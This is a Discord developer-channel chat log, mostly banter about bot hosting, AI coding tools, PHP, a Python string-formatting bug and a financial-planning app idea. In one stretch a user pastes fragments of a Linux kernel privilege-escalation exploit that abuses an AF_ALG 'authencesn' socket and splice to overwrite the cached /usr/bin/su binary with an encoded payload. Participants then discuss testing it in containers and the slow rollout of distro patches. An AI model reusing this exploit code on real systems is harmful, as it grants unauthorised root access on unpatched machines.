#development

1 messages · Page 311 of 1

neon flicker
#

Back then in 2021-2022 it took like a month or more

#

Alright now I'm glad to know that

prime cliff
#

You've been in here since 2024 though xD are u a spy monkas

neon flicker
#

Aw nope, I've switched between a lot of accounts

#

Not me definitely coming back to the least profitable kind of development (Discord bot development) in 2026 though

#

But it is still possible to build up a network through Discord bot development if you do the right choices though

#

So yeah, it's fine as long as it's fun anyway

neon leaf
#

has to be ragebait

lyric mountain
#

experienced a regression affecting merge queue operations

#

scary stuff

neon leaf
#

yeah

#

broke entire repos

frosty gale
#

vibe coding is like fast food, too much is bad but none at all is boring af

prime cliff
#

This Discord outage is sponsored by Vibe Code

lyric mountain
#

what fears me more isn't losing my job to AI, it's having to clean AI's mess with a lot of technical debt

#

we all know it'll be filled with "temporary" solutions

wheat mesa
#

can confirm as someone who deals with this at my job every day, it’s a pain in the ass

#

Agentic coding has gotten a lot better with Sonnet 4.6 but it’s still riddled with problems when the code isn’t reviewed carefully

slender wagon
#

I need to shart

#

Shard*

slender wagon
#

I’d only use sonnet for really simple questions

#

Opus will look into your code and reason with you

twilit compass
#

my bot got declined exactly when our data-center went in maintenance xD 😭

stark kestrel
twilit compass
#

ah i see

wheat mesa
#

Build plan with opus -> hand it off to sonnet

slender wagon
#

Oh i didnt know that

wheat mesa
#

Opus is technically fine for implementation too it’s just expensive af

frosty gale
wheat mesa
#

Yeah I don’t pay for any models outside of company dime

#

It takes the fun out of it for me

long phoenix
#

@wheat mesa hey can you add my bot to server

#

I m trying to get 10 server you can try that at my server

neon leaf
deft wolf
#

From all of the people here you decided to ping waffle for that

#

His message was the latest one I guess

quartz kindle
#

im considering switching from claude code to gpt codex, i've been enjoying codex much more lately

deft wolf
#

Now Tim 😭

quartz kindle
#

kurwa

long phoenix
quartz kindle
#

no thanks

long phoenix
long phoenix
quartz kindle
#

lmao

deft wolf
#

Make it 670 commands and maybe I will test it

#

Otherwise no

long phoenix
long phoenix
deft wolf
#

You made 600 commands but you can't make 70 more?

wheat mesa
#

With 600 commands the bot better do EVERYTHING for me

deft wolf
#

Maybe it does but you didn't want to test it 😭

wheat mesa
#

600 commands that I won’t end up using any of 🙏

queen needle
#

Will it do my stats exam 😭

deft wolf
#

Maybe, if you give it a try smirk

swift barn
#

Bro has testers already

slender wagon
#

Is it just me or has discord started to freeze alot lately

#

It might just be that i need a new phone

neon leaf
#

ok who disabled embeds 🥀

deft wolf
#

Tim

quartz kindle
#

yes

frosty gale
#

i tested it on my wsl and it worked

#

but funnily enough on my production server i hardened it really well so the exploit doesnt work bc i blocked off su

~$ python3 test.py
Traceback (most recent call last):
  File "/home/xxxxxxxx/test.py", line 8, in <module>
    f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
PermissionError: [Errno 13] Permission denied: '/usr/bin/su'
neon leaf
#

I suppose this doesnt affect non-root containers with no bind mounts?

frosty gale
#

depends on what you mean non-root, do you mean something like podman where the containers physically run as non root?

neon leaf
#

nope, where the main code in the container runs as e.g. 1001

#

with regular docker

frosty gale
frosty gale
#

issue with this exploit is that its extremely easy to use so have at it

neon leaf
#

I didnt actually take a good look yet, is this directly related to sudo/su or not really?

frosty gale
#

i think its a lot worse

#

it lets a non-root user modify the page cache

#

so you can modify any file in the kernel cache without root

neon leaf
#

ah I see

frosty gale
#

i executed the exploit again unknowingly by just using sudo that i used the tool on, sudo itself wasnt modified on disk but the cached binary was

#

yeah this is really really really bad

neon leaf
#

weird that I barely saw any coverage on it

frosty gale
#

about as bad as the dirty pipe linux vuln a couple of years ago

neon leaf
#

its like a week old now i think

frosty gale
#

thats very strange

#

even weirder is that debian doesnt have a patch for it yet, at least on my server

#

is there something im missing

neon leaf
#

maybe you are dreaming

#

maybe im not real

#

but wait, if you can modify the page cache, I dont see why you couldnt escape containers

#

i will try some stuff

frosty gale
#

tbh im not sure but worth experimenting on

#

i wonder if android can be exploited using this but probably not since its locked down to hell

neon leaf
#

cannot get it to work in a container sadly, atleast not unmodified

frosty gale
#

cant on android either, sockets are locked down whic is what this vuln uses

neon leaf
#

nvm 💀

frosty gale
#

what a strange exploit

 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
neon leaf
#

💀💀💀

#

💀

#

💀

frosty gale
#

apparently authencesn seems to be the culprit

neon leaf
#

just tried on a slightly older kernel

frosty gale
#

yeah apparently all since 2017

#
  • bar hardened kernels
neon leaf
#

yeah i was testing on linux 7 before

#

can you try on linux 7?

frosty gale
neon leaf
#

yeah doesnt seem to do any magical things

#

aka cannot read device nodes

#

root@a260cbda0555:/tmp# cat /tmp/t
cat: /tmp/t: Operation not permitted

slender wagon
#

What happened?

neon leaf
#

I suppose could be worse

#

people who use linux accounts for seperation exist but arent that common anymore

#

containers on the other hand

slender wagon
#

Jarvis summarize this chat

stoic bough
#

from my non-technical perspective seems like an exploit that grants sudo access to things that don't necessarily need it

frosty gale
#

though a lot of attackers find entry points like this and wait for a while for vulnerabilities such as this to actually do anything

#

but luckily we're not important enough for that to probably be the case

neon leaf
#

there seem to be a few kernels that fail

frosty gale
#

Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.
??? how come my debian doesnt have a patch yet then

neon leaf
#

L

#

you hardened it too much 🙏

frosty gale
#

lol

#

i see others complaining about no patches yet either so i think maintainers are just slow or received less notice

neon leaf
#

i doubt debian wouldnt get a notice

#

u sure u dont have some cursed config that disallows new packages?

frosty gale
#

i wonder if its because im using hetzner as a mirror

#

meh no idea but im going to look into it more

neon leaf
#

I hope im not reading this correctly

frosty gale
#

yeah they havent patched it yet

#

that explains it

#

only the latest test releases are patched

#

thats weird

frosty gale
#

@neon leaf apparently a lot of distros havent patched it yet because the distros are being naughty with kernel versions

#

they tend to maintain older versions of the kernel and only patch/backport important bug fixes which means it takes ages to patch anything

#

unusual debian L

slender wagon
#

These vulnerabilities are getting very annoying

#

Most of these are def assisted by AI

neon leaf
#

they answer that one their site, the initial entrance was found by a human, the exploit by an ai

robust garnet
#

how long do privileged intent applications take and is there a way to confirm it got successfully received by discord because i feel paranoid after a week that it never got sent

robust garnet
deft wolf
#

And it's not even a joke

#

That's the worst part

robust garnet
slender wagon
#

sent them on 3 apr

robust garnet
#

Now

slender wagon
#

no answers

robust garnet
#

💔

#

I'm tempted to write another application but its risky

slender wagon
#

the second one i sent it 2 weeks from my initial one

robust garnet
#

Aw man

#

Yea gg I might have to unlist my bot from top.gg

#

Till it gets accepted

#

???

deft wolf
#

Bro is kanye fan

robust garnet
#

Sonion

deft wolf
#

@knotty night

robust garnet
#

This is so corny 😭

#

You putting bad name to war thunder players

#

Okay hes gone

#

Wow

#

I look like I'm talking with myself

slender wagon
robust garnet
#

Sad

#

Like it's a calling bot between servers and for relaying the messages of users, it needs the message content intent

frosty gale
#

eventually we'll reach an equilibrium where AI can't find anymore vulnerabilities and its back to human researchers again to push the wheel

#

... or humans build a better AI

#

all things LLM and AI eventually tend to come back to humans one way or another I found

slender wagon
#

scary stuff

#

i am SO glad i learned rust. I can't imagine what my current project would look like if it was made with nodejs

#

npm has been such a pain to maintain

frosty gale
#

rust users realising the libraries they are using are most likely using unsafe code

neon leaf
#

jokes on them I use it myself 😎

frosty gale
#

the only part of my serious rust project i use unsafe in is to load the config at startup without using a lock

neon leaf
#

dont need unsafe to write unsafe code 🔥

#

but yeah my only prod unsafe usage is config loading too

frosty gale
#

disgusting

neon leaf
#

either way I should probably like make this code not be cursed

#

no vision for it yet though

#

and yeah ig i can replace the dyn with an enum if the bills are that high

#

🙏

slender wagon
neon leaf
#

rewrite rustc please so it finishes compiling before I pass 🙏

slender wagon
neon leaf
#

ive moved from writing unsafe code to making unsafe electrical circuits

#

🙏

frosty gale
#

bro

warm surge
#

bro @noble hatch

frosty gale
#

these scams are so shit

#

someone that falls for one of those i dont think should be allowed to drive a vehicle

stoic bough
#

Thonk Thinking of designing and building a transport handler framework in node. Naming it cAPI. basically just lets you write once and use it anywhere.

#

you would just write plain functions and hook them into whatever transport you want, http, ws, rpc, jobs, cron etc

cold sorrel
#

I just found out there's

#

14 bugs on my bot

frosty gale
cold sorrel
#

I came

#

I fixed it

cold sorrel
#

46 bugs

#

In a single day

#

I'm a freaking genius

deft wolf
#

How do you end up with 46 bugs in first place

#

You have to be doing them on purpose or you count any typo as a bug

cold sorrel
#

how do yall put overlay images ontop of embedded images

#

I just installed pillow

frosty gale
#

@neon leaf the goobers finally patched it on debian

#

the update automatically installed (as i configured it to do) but for some reason no automatic restart

#

need to figure that one out

neon leaf
#

wow

ashen notch
#

Hi guys, do you know if it's possible to make a Discord bot stream and share something?

deft wolf
#

Nope

#

Meaning it's not possible

ashen notch
#

Okay thanks

neon leaf
strong creek
#

i'm having the exact same issue. it's really starting to piss me off

#

33 days and climbing

#

i sent them a follow-up last night, this is what i got in return.

#

closed with no reply

deft wolf
#

Poor Don Jinwoo

prime cliff
#

You got the unlucky side of support congrats 👏

slender wagon
#

Cuz why???

frosty gale
slender wagon
#

he just messaged me as well

#

can someone send the link to the discord developers server

deft wolf
#

it's /discord-developers iirc

strong creek
#

It just infuriates me because nobody should have to wait 30+ days while getting their app restricted

deft wolf
#

I ain't testing top.gg's automod

strong creek
#

They need to take responsibility for their own internal issues and stop taking it out on the community

neon leaf
#

I am testing it

deft wolf
#

That's bold move

#

Ngl

frosty gale
#

jinwoo is going to get it

slender wagon
neon leaf
#

yes see nynu I'm better

deft wolf
#

Me when I google "Don Jinwoo" and I'm getting some solo leveling wiki entries

#

Indeed you are

#

Well, at least he's real

neon leaf
#

i love that php [] can be [] and {}

#

definitely doesnt make me cry every day

forest osprey
#

Are we allowed to like get beta testers

deft wolf
#

On this channel?

frosty gale
#

i dont like languages that cant make their mind up

wheat mesa
#

“Arrays are just objects but their keys are numbers! But also an object is different from an instance of a class in the way you are allowed to access its properties”

#

FUCK php

neon leaf
#

see, I wouldnt even care because I barely write php

#

BUT

#

some stupid apis think its funny to return arrays instead of empty objects sometimes

#

yet document it as objects

wheat mesa
#

PHP should’ve been left behind 10 years ago

neon leaf
#

I fear its never going away

#

its just so convenient for most people

#

there is no real alternative I dont think

#

technically nginx has js/lua module stuff but lets be serious 90% of people in here have never heard of it even less used it

frosty gale
#

i would never contaminate my beautiful innocent nginx instance with runtime lua execution

neon leaf
#

i used to do runtime bash with nginx

#

👍

#

sadly lost the codebase, but it was a full multiplayer lobby implementation lol

#

I only have the video of it left on yt

lament rock
#

Why would you ever let nginx do the templating

frosty gale
neon leaf
#

nah

#

wouldve had fun to relive it

#

also did a youtube clone with this bash nginx stuff

#

at a smooth 15fps on 144p (tho i blame pocket code for that)

late flicker
deft wolf
#

Thanks for that random screenshot without a context

slender wagon
#

Approaching 1K servers
Fir 2 months!
Im happii

narrow glacier
slender wagon
#

Or someone else

narrow glacier
slender wagon
#

Ah ok

slender wagon
narrow glacier
slender wagon
#

No it like

#

Keep it up

#

Yk

narrow glacier
#

ahh yeah

#

hard to grow at first

#

hit 20 servers last night so im starting

slender wagon
#

Ggs

neon leaf
deft wolf
#

I hope it's a joke

#

It has to be... right?

frosty gale
#

oh its a haha image lmao

slender wagon
#

has any of u looked in claude design?

neon leaf
#

yes

#

pretty decent if you already have a good figma template

lament mist
slender wagon
slender wagon
lament mist
deft wolf
#

I wonder how is claude related to the hosting

lament mist
slender wagon
#

😭 poor guy

#

Its ok

slender wagon
neon leaf
#

yeah

slender wagon
#

Idk why AI loves those rounded pill buttons

#

And it makes it chonky

deft wolf
#

They are ✨ fancy ✨

slender wagon
neon leaf
slender wagon
#

Okay

neon leaf
deft wolf
#

What if it just knows more and the government is lying to us about fast trains

#

AI is never wrong, that's a rule

frosty gale
#

i thought i was a yapper until LLMs existed

#

atp i think its just a big ploy by the big AI to waste your tokens

slender wagon
neon leaf
#

im my experience building ai from scratch its really hard to know when to even end a response

plain cedar
frosty gale
warm surge
delicate zephyr
#

Hi webster

warm surge
#

yo

frosty gale
slender wagon
#

how bad is this first is total server added (even the ones that kicked it)

eternal osprey
#

hey guys, for my machine learning model i am using StratifiedGroupKFold Cross validation. I was wondering, should i first seperate the dataset in a 80/20 split using GroupShuffleSplit?

eternal osprey
#

for anyone interested:
yes, that is needed else you get optimization bias.

neon leaf
#

nice work with the translations google

deft wolf
#

Ok

lunar meadow
#

For Python, does anyone have a small tip for adding roles for certain commands that users can implement themselves? Forgot since my bot was private, I set it up only for my server

frosty gale
#

not a bad language name

neon leaf
lunar meadow
#

Where i setup my bot for just my server, gord i gotta change like 600 lines of code so it can be used in other servers...

warm surge
terse tulip
#

Who knows how to create a BSC network token?

modern wind
crystal wigeon
#

fkin djs, 0 backward compatibility, every fkin version they have breaking changes

#

what is this man wtf

#

i cant even update

sharp geyser
#

Still surprised people use djs to this day, older bots sure

#

but I thought by now people just make their own wrapper

prime cliff
#

You can't just make a new lib as simple as that especially not Discords api

crystal wigeon
stoic bough
#

Designing things without accommodating for future changes is bad design choice. And djs isn't even a bad library to use. It's well maintained and always trying to update their library with new api features and updates.

lyric mountain
#

djs.cache surely is.cache a good.cache library.cache

stoic bough
#

I make my own

#

for small projects its fine

#

but if you need full control over it they have sweepers and defaults you can mangle with

neon leaf
#

I just found out rust does not consider a variable unused if it has a TODO: comment

brazen rose
#

gday

neon leaf
#

also I just found out "Heisenbug" is a real term for bugs that disappear when observing them

pearl trail
#

wth this is the first time i got charged 14 cents on my prepaid just to get otp to my phone number. the app is from government

crystal wigeon
#

anyone know how to handle button click interactions for components v2 if i send the payload using discord api? whats the best way to handle these? if i wanted to use interactions via http. Do i store the callback and message in in some state? flork_think

lament rock
frosty gale
#

tried to ask chatgpt whether my car's digital key unlock implementation is known vulnerable, proceeded to accuse me of hacking despite never asking for specifics, then proceeded to gaslight me saying it never accused me of hacking 🤦‍♂️

#

claude answered the question with no issue

#

6/10 ragebait openai

slender wagon
#

Most of the people that get in my yaris figure out how to turn it on

#

U have to press the clutch all the way in

slender wagon
neon leaf
#

Total reclaimed space: 339.1GB

is this enough for a single docker system prune? 🫠

frosty gale
#

no

frosty gale
#

though this usually tends to be exploitable if an attacker can sniff the traffic between the owner's key and car and gain enough info to infer the secret of the owner's key

#

there's not much talk about this but i think many older cars are vulnerable to just this and no ones paying much attention

slender wagon
#

maybe i need a new car afterall

frosty gale
#

although i think immobilisers tend to use different secrets so even if you sniff the door opening sequence you wont have the immobiliser secret unless you're right next to that person starting a car

#

need to learn more about this

crystal wigeon
neon leaf
#

@frosty gale

frosty gale
#

lmao

#

thats why i disable memory always

neon leaf
#

yea

#

I wonder how it fetches this

#

or if it just makes my context fill up faster

slender wagon
neon leaf
#

ok buddy 🥀

wheat mesa
frosty gale
#

yeah what i was about to say

#

probably rag since you can have thousands of memories and it just works without wasting context

neon leaf
#

😭

#

lets just hope it knows my name because its injected into the context window, because I definitely never told it lol

#

@frosty gale it seems like claude is making the LLM confirm whether a request is bad

#

seems very exploitable to me

tardy latch
#

is anyone good with dpy
like clustering
cuz my bot is gonna get a ton of traffic and can break
🥀

#

copy paste

neon leaf
#

i dont believe suchj

frosty gale
#

i have seen in some of its reasoning thingies where it specifically analyses the safety concerns of a request

neon leaf
#

i think its different for age-related infractions

frosty gale
#

anyways stop trying to hack someone

#

poor claude just wants to help

neon leaf
#

🥀

#

"poor" claude just ate 20% of my weekly limits

hard zenith
#

It says “you are out of extra storage. Your limit resets on Saturday at 10pm” but yet when I check usage it says “80” so I’m like… visual bug?

frosty gale
#

@neon leaf lmfao

neon leaf
#

damn

#

why are you on the old defender ui

frosty gale
#

why is windows defender even caring about what is in wsl

#

bruh idk this is what i get given

deft wolf
#

Bro has windows from temu 🥀

frosty gale
#

bruh what is wrong with my windows 💀

#

looks the same on my laptop as well

stoic bough
neon leaf
#

Ive seen malware create hyper-v vms to mine crypto

#

so yea

stoic bough
#

ive seen people disable it to make downloading packages faster but the tradeoff isn't really worth it for the protection you lose

#

as in, I've seen people talk about it a lot in forums and discussions kek

lyric mountain
#

just go linux anc_CoffeeSip

eager trail
lament rock
#

Jumping ship to linux. Sufficed you arent into VR gaming, the switch is pretty painless. Trying out CachyOS

lament mist
#

Hello

graceful spoke
lament mist
neon leaf
#

including on linux 7

neon leaf
pearl trail
primal fog
#

Hey lately i was thinking of making a tiny rpg for discord to focus a bit more on guild v guild aspect without cluttering it with tons of commands

#

Is an rpg bot still a good idea or am I entering a dead space?

frosty gale
#

linux team needs to be a lot more careful with their patches to exploits since each new patch is going to be under scrutiny

slender wagon
#

discord breaking

deft wolf
#

Not first time, not the last one

rich whale
#

what does it mean that my bot must have at least 1 "feature" ?

crystal wigeon
#

man fuck djs

#

worst

deft wolf
robust garnet
slender wagon
#

Still waiting

upbeat trail
#

can someone help me with this.. i have tried refreshing multiple times and wait for days to update.. but it is still showing 1

#

while my bot is in 19 servers

#

atm

low raptor
upbeat trail
low raptor
#

What do you mean exactly?

#

You need to call this api in your backend to post your server count.

upbeat trail
robust garnet
low raptor
#

You can just make a HTTP request to that route to update your server count

#

For example the JS lib here

frosty gale
neon leaf
frosty gale
#

genuinely though what do you do in that situation

#

i'd just call it company portal

deft wolf
#

Ain't no way someone is worrying about using CP as acronym

neon leaf
#

"can I please get the link to the .."

deft wolf
#

Well, context matters

#

I would never think of someone asking for that, that would be braindead thing to do

slender wagon
#

anyone going to the web summit?

robust garnet
slender wagon
#

Its crazy man

neon leaf
neon leaf
loud canopy
#

can a bot have a rich presence like a game or the rpc tool one for normal users?

lament rock
loud canopy
#

yeah i figured i ended up like

#

this, it’s cute so it’s okay

#

it updates each 60 seconds hopefully is not a big deal

stark abyss
#

yoo developers i have a website idea, anyone want to hear it? NO THIS IS NOT AN ADVERTSIMENT MODS, its an idea im tryna validate

queen needle
#

wdym validate

deft wolf
#

Just make it and maybe someone will use it, who knows

stark abyss
#

Validate means to confirm, prove, or substantiate that something is true, accurate, legitimate, or officially acceptable

#

or worth y

queen needle
#

What's the idea

sharp geyser
#

self hosting bitwarden was actually really easy

#

Got it up and running within 5m

#

SSL and SMTP too

frosty gale
frosty gale
#

moving to windows server as we speak

neon leaf
#

already like this at work 🙏

#

only 1 of 300 customers has a proxmox server

frosty gale
#

good

#

what do silly open source projects and contributors know about safe code

#

silly C programmers they should be using Rust™ with a reliable LLM to guarantee safe implementations every time

upbeat trail
#

y'all.. is there any free discord bot hosting platform who's giving generous free plan includes good cpu usage limit? not 15-25%..

lyric mountain
#

ur asking for the location of eldorado

#

free will always be either shitty or have limited uptime

#

if it's neither then it's a scam

upbeat trail
lyric mountain
#

you'll have to go paid eventually

upbeat trail
#

rest of the things like memory is still enough..

upbeat trail
lyric mountain
#

gonna be honest, dont expect the bot to pay for itself

#

very few bots reach that point

deft wolf
#

Treat it as a hobby, it will be easier

#

Also paying bare minimum (2-3$/month) for a proper server to host your bot would remove most of the headache from free hosting limitations

neon leaf
#

atleast for me, back then the issue wasnt the cost, it was being able to spend money online at all

sharp geyser
#

Only the hosting provider

#

At least I’m not paying anything

stark abyss
# queen needle What's the idea

AI-powered platform that helps young adults turn big goals into clear, realistic action plans. It guides users through career, financial, and personal growth by breaking overwhelming goals into smaller daily and weekly steps. The goal is to give people a smarter system for staying focused, making progress, and building the future they want.
like 3 tools into one system, goals, financials, calendar. One can trigger the others

wheat mesa
#

AI-powered in what way

stark abyss
#

You write "I want to become a nurse"
GOALS: breaks it down to actionables and deliverables (editable)
Finance: Automatically creates a goal if you want (uses plaid to connect bank, credit cards) recommends putting x amount of money for college based on income if thats where you are at (there is a questionnaire before this)
CALENDAR: questionnaire and then blocks study time
not the best example but you can understand what im tryna create

wheat mesa
#

I mean it could be a good idea if implemented correctly, but what you're really going to fight here is the business model

stark abyss
#

yeah its for highly ambitious people only

#

i dont think its profitable tbh

wheat mesa
#

LLMs are expensive to run & most people that need help breaking down financial goals like that probably aren't willing to pay the cost that it would require to keep you afloat

stark abyss
#

i was just tryna create for myself but thought maybe its worth it for others too

wheat mesa
#

If it's for a personal project go for it

#

I just wouldn't expect to monetize it, at least for MVP

stark abyss
#

better example

#

100x more detailed obviously

wheat mesa
#

Ehhhh I don't really see what sets this apart from something like just asking Claude or ChatGPT the same question

#

The only real big difference is the UI

stark abyss
#

RAG on legally obtained textbooks to improve chatgpt api calls to make it better

#

small library

#

very very small

wheat mesa
#

Why would you need textbooks?

stark abyss
#

for example i wanted to become CFP it can generate better instructions and steps that are most up to date as long as i update the book and info

#

just thinking through my idea okay?

wheat mesa
#

No no I'm not hating on it or anything, I'm just trying to ask questions to lead you to refinement of your idea

stark abyss
#

high cost with low return is that what you are saying?

wheat mesa
#

Yeah. Acquiring users to something like this is going to be very difficult

stark abyss
#

yeah people are never this structured anyways in reality

wheat mesa
#

It requires the user to provide a lot of context themselves. Explaining their entire financial picture & their goals to an LLM is going to be difficult

#

There's a lot of moving parts with something like this, but the idea itself isn't bad

#

I think you should try to find something that is UNIQUE about this idea and focus on that if the goal is to make it into a business/generate revenue

#

There is a billion LLM-based tools but the ones that win are the ones that are easy to use, unique, and solve a real problem

stark abyss
#

well three apps right
goals
finance: this is going to be also about user providing bank, credit card, using plaid api
calendar

wheat mesa
#

You might also have a big problem with privacy here, given that a lot of people aren't going to want to give access to their bank account's detailed statements if it's being fed into an LLM

stark abyss
#

true but i have seen other apps do it

#

maybe ill just build the app for myself like my initial plan, allow a small limited of friends to use it

wheat mesa
#

Making a system like this easy to use should be your biggest priority

#

Definitely play around with the idea to see if you can solve/automate any pain points that people have around setting goals & achieving them

stark abyss
#

okay okay sounds good, thanks for the feedback

#

😄

#

hard to get feedback these days lowkey

prime cliff
#

Ah yes "seen other apps invade privacy with AI" just like all the other companies totally fair right? Hahaha KEKW KEKW KEKW

stark abyss
#

its not invading privacy if the user is consenting to it..

prime cliff
#

It could be breaching other regulations or data protections though like the GDPR

stark abyss
#

Origin has its own CFP ai and its on appstore and a website so can i just assume its not breaching anything

#

i personally use it

prime cliff
#

Well that's the thing with AI being unregulated it's all grey area

stark abyss
#

just dont use the app then...? i am not hiding the fact that ai is gonna use your data to help you manage your financials cuz you seem to buying too much boba lately

#

wait does that sentence make sense?

#

i am a llm myself LOL

#

since english isnt my first language

lyric mountain
#

make sure you have a VERY strong and bulletproof terms of service tho

stark abyss
#

sure thing but again this is an idea... im just tryna get feedback on it

lyric mountain
#

since it's an app about financial advice

#

otherwise you could face serious lawsuits

stark abyss
#

yeah i understand that

#

so like you want to give feedback on the idea or no..?

wheat mesa
#

I couldn't see myself using an app like that personally

stark abyss
#

okay so i got 1 out of 16 people who said yes to using it so far

lyric mountain
#

2

#

oh wait

#

1 out of 17

#

misread that

stark abyss
#

i got happy for a second...

wheat mesa
#

Not just because of privacy concerns, but also because I feel like it might just be too much effort for me to use

lyric mountain
#

I just dont like ai using any of my data

stark abyss
#

its aimed at highly ambtious people who want to be rich/go in stem degree or something more diffuclt

wheat mesa
#

I think that if people aren't capable of planning out a big picture of their goals/finances to begin with, an app isn't going to change the habits that led them to that lifestyle anyways

#

I think your target audience might be backwards

#

People that are using AI to plan out their life goals & financial goals for them are probably not super ambitious, but the opposite

stark abyss
#

so like i want to be CFP --> shows details of how much effort you need to put in ---> they decide to continue or not

wheat mesa
#

I think if you're ambitious and motivated about something, then you're going to put in effort to plan it out

stark abyss
#

build around that idea

stark abyss
craggy pine
#

I feel like ambitious people in terms of fianances or atleast the whole "getting rich" aspect would rather go to people instead of A.I for financial advice since the person has real world experience especially if they have the proof their fiancial plans actually do work.

stark abyss
#

i can quickly see how much effort each needs and time and financials to provide for courses etc

stark abyss
#

hmm ok

#

so 18 no out of 19 not liking the stats too much

wheat mesa
#

I use AI for looking at high-level overviews of what I need to do to accomplish certain goals, but I wouldn't pay for a SaaS that does it for me.

lyric mountain
#

I only use ai for stuff I literally dont know what to search for

stark abyss
craggy pine
#

Maybe im just apart of the negative nancy side of things when it comes to A.I but I personally think A.I is heavily bloated and I'd rather see projects using it less or not at all.

wheat mesa
stark abyss
#

thats good feedback

#

📝

lyric mountain
#

do u know what that idea sounds like?

#

and the other 17238478921 similar books

wheat mesa
#

ew who bothers to read a book in 2026

#

I think AI-as-an-advisor isn't going to give you much success in the current market. You need to truly automate something with it to make people's lives easier

#

The most successful companies in this era imo are going to be the ones that automate the dirty work that nobody wants to do

#

For example, when I worked at a big company, there was a workflow that required manual human review of thousands of documents per day, which took an entire team hours of work. Someone I was working with used LLMs as a way to parse through these documents and flag the areas that specifically needed human reconciliation/attention, which ended up saving about 5 hours of manual busywork per day

#

Those are the types of boring usecases that are actually going to win people over

stark abyss
slender wagon
#

What phone yall using?

#

I wanna get rid of this iphone 13
Wanna get smthn else

delicate zephyr
#

im on S22 Ultra 5G

slender wagon
#

Decent spec wise

knotty night
#

I usually get the newest iphone each year, sometimes the pro sometiems the max, sometimes the base model. right now I have the 17 Pro Max and I love it

warm surge
frosty gale
#

i stood behind samsung until they one day randomly locked the bootloader permanently and removed unlock logic

#

im still running on firmware where I can unlock the bootloader on my S24u but that means I literally cannot update unless I want to give my phone to daddy samsung to do as they please with

lament rock
#

Ive heard some people have been happy with nothing phones. Something that can run GrapheneOS might be annoying or impractical soon because what big daddy google is doing with their new "evolution of reCaptcha"
I feel like a Linux phone could be pretty cool

lyric mountain
#

was tried already, failed miserably

stark abyss
#

ChatGPT might say:
“Here are 10 steps to own a hotel.”

my idea app says:
“Here is your hotel ownership path, based on your timeline, your money, your career, your knowledge, your schedule, and your progress. I’ll keep updating it as your life changes.”

#

@wheat mesa is this better

lament rock
wheat mesa
#

If I have to fill out my career/finances/goals in your app then I could just give the same thing to ChatGPT for free

#

You need to have a product that isn’t just a wrapper around ChatGPT

queen needle
#

Just ask chatgpt how to make it a good product that isn't just a chatgpt wrapper

stark abyss
#

okeyy

loud canopy
#

guys im going crazy

#

if i have a list like

#

requests = ['potato' , 'apple']
and i do
request_list = "\n".join(str(req) for req in requests)
print(request_list)
shouldnt the output be

potato
apple

?

queen needle
#

prints that way yeah

loud canopy
#

then wtf

queen needle
#

are you having issues?

loud canopy
#

what kind of sourcery is this

#

????

queen needle
#

So it's printing two but your message is only showing one, that's the issue right?

loud canopy
#

yes

#

its not listing all of them

#

and if i print the formatted string it shows one too

#

but the list is two

queen needle
#

something odd is happening in that join function i assume

loud canopy
#

this is worst than that one time that my function would crash saying

#

"function except two arguments (2 were given)"

queen needle
loud canopy
#

yeah... something is happening here

#

its skipping

#

the first one

queen needle
#

yeah using numbers instead works

loud canopy
#

DEBUG REQUESTS: [24244242, 11111111111, 4050250]

queen needle
#

print it again before you join

loud canopy
#

well i cant print it its not defined until i join it

queen needle
#

print requests again before you join

loud canopy
#

oh i do

#

it shows all of them

queen needle
#

add another one right before you join like one line before

loud canopy
#

-# no way im staying up all night for a string

queen needle
#

just for sanity

loud canopy
queen needle
#

what the heck

loud canopy
#

???

#

what black magic

#

is this

#

i am gonna restart vscode and surely this gonna fix it

#

?XD

queen needle
#

and you tried printing request_list before sending it right

loud canopy
#

ok ts is hunted

#

OHHH WAIT

#

I THINK I GET IT

#

I REMEMBER THIS

#

AHHHHH

#

fk me

#

and fuck discord formatting

#

i think what is happening is the ''' '''

#

for the box

#

i think the first line is hidden

#

and the next is displayed

#

lemme try to hardcode 1 entry

#

but it works for you so weird

#

mmhh

queen needle
#

no harm in trying to just send the ids

loud canopy
#

whenever you use boxes the first line until /n is hidden

#

like

#
meow meow meow```
queen needle
#

that's so interesting

loud canopy
#

see?

#

i had this issue before like years ago

queen needle
#

yeah because of the language'

loud canopy
#

yes

#

that meow is now gonna solo carry that list

queen needle
#

so if you just add a \n{request_list}

loud canopy
#

im keeping it there

#

yeah i added meow \n

queen needle
#

just \n should work but thats fair

loud canopy
#

that meow is 100% necessary

#

-# not really

#

ok now that i wasted 45 min for ts

#

i go back working

queen needle
#

I wasn't even thinking about the formatting I was thinking somehow the list was being manipulated

loud canopy
#

i was 100% sure it was some the database call function being wrong

#

then i was 100% sure i was doing the loop wrong

#

then i was 100% sure vscode needed a restart

#

i hate this

queen needle
#

real

grave zealotBOT
#
Updating Server Count

To update your bot's server count, use the server_count parameter as documented in the Top.gg API.

If you want the server count to update automatically whenever your bot joins or leaves a server, you will need to implement this logic in your guild join and guild leave event handlers.

Server count updates should be sent using the following endpoint: POST: https://top.gg/api/bots/{your_bot_id}/stats.

pearl trail
#

-# pic is not mine

lament rock
#

y tho

pearl trail
#

xD that pic originally might be a joke, but ram servers costs more than normal pc ram trolley

pearl trail
#

yeah it is, and also buffered thingy

#

idk the server might actually wont boot with regular pc ram because no ecc

slender wagon
#

I bought my hetzner server without ecc to save $4 a month

#

Am i not cool

pearl trail
#

oh there's server without ecc

#

interesting :0

slender wagon
neon leaf
#

you can put ecc on the ryzen desktop platform

#

because its used for both desktops and servers

frosty gale
#

hetzner prices 😢

pearl trail
#

